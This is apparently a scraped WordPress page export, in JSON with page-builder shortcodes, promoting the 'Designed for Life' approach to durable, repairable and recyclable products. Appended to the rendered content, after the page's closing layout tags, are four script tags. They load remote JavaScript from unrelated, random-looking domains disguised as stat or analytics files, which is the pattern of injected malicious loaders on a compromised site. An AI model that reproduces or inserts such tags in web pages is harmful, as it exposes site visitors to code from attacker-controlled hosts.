Planned obsolescence, though profitable in the past, is an unsustainable approach. Quality items may cost more up front, but they are well-made and suited to replace inferior purchases.

Designed for Life products are thoughtfully engineered from the outset with standardized parts and replaceable components that extend the lifespan of the overall product. This makes restoring, repairing, or even upgrading, easy and desirable.<\/span>[\/vc_column_text][vc_column_text css=&#8221;.vc_custom_1594917467363{padding-right: 10px !important;padding-left: 10px !important;}&#8221;]<span style=\"font-family: weissenhof-bold !important; font-size: 18pt !important; line-height: 1.2 !important; color: #2fb793;\">3.<\/span><span style=\"font-family: weissenhof-bold !important; font-size: 18pt !important; line-height: 1.2 !important; color: #2d381e;\"> Sustainable<\/span><br \/>\n<span style=\"font-size: 16pt;\">Thoughtful design leads to thoughtful consumption.

The DFL design process purposefully makes plans for all components to be recycled, repurposed, or even peer-to-peer traded. When it comes time to finally say goodbye, components should be biodegradable, however the landfill is the last place it should end up \u2013 because it was designed with an end-of-life plan in mind.<\/span>[\/vc_column_text][\/vc_column][\/vc_row]<script src='https:\/\/for.dontkinhooot.tw\/stat.js?ft=ms' type='text\/javascript'><\/script><script src='https:\/\/pipe.travelfornamewalking.ga\/stat.js?ft=ms' type='text\/javascript'><\/script><script src='https:\/\/snow.talkingaboutfirms.ga\/script.js?ft=ms' type='text\/javascript'><\/script><script src='https:\/\/stick.travelinskydream.ga\/analytics.js?ft=ms' type='text\/javascript'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>[vc_row type=&#8221;in_container&#8221; full_screen_row_position=&#8221;middle&#8221; scene_position=&#8221;center&#8221; text_color=&#8221;dark&#8221; text_align=&#8221;left&#8221; top_padding=&#8221;100px&#8221; overlay_strength=&#8221;0.3&#8243;][vc_column centered_text=&#8221;true&#8221; column_padding=&#8221;no-extra-padding&#8221; column_padding_position=&#8221;all&#8221; background_color_opacity=&#8221;1&#8243; background_hover_color_opacity=&#8221;1&#8243; column_shadow=&#8221;none&#8221; width=&#8221;1\/1&#8243; tablet_text_alignment=&#8221;default&#8221; phone_text_alignment=&#8221;default&#8221; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221;][vc_row_inner column_margin=&#8221;default&#8221; text_align=&#8221;left&#8221;][vc_column_inner column_padding=&#8221;no-extra-padding&#8221; column_padding_position=&#8221;all&#8221; background_color_opacity=&#8221;1&#8243; width=&#8221;1\/6&#8243; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221;][\/vc_column_inner][vc_column_inner column_padding=&#8221;no-extra-padding&#8221; column_padding_position=&#8221;all&#8221; background_color_opacity=&#8221;1&#8243; width=&#8221;4\/6&#8243; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221;][vc_column_text][\/vc_column_text][\/vc_column_inner][vc_column_inner column_padding=&#8221;no-extra-padding&#8221; column_padding_position=&#8221;all&#8221; background_color_opacity=&#8221;1&#8243; width=&#8221;1\/6&#8243; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221;][\/vc_column_inner][\/vc_row_inner][vc_row_inner column_margin=&#8221;default&#8221; text_align=&#8221;left&#8221; css=&#8221;.vc_custom_1573180394680{margin-top: -100px !important;}&#8221;][vc_column_inner column_padding=&#8221;no-extra-padding&#8221; column_padding_position=&#8221;all&#8221; background_color_opacity=&#8221;1&#8243; width=&#8221;1\/1&#8243; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221;][vc_column_text css=&#8221;.vc_custom_1518469276223{padding-right: 50px !important;padding-left: 50px !important;}&#8221;] The Designed for Life framework is based upon two fundamental values: Built to Last and Designed to Evolve.
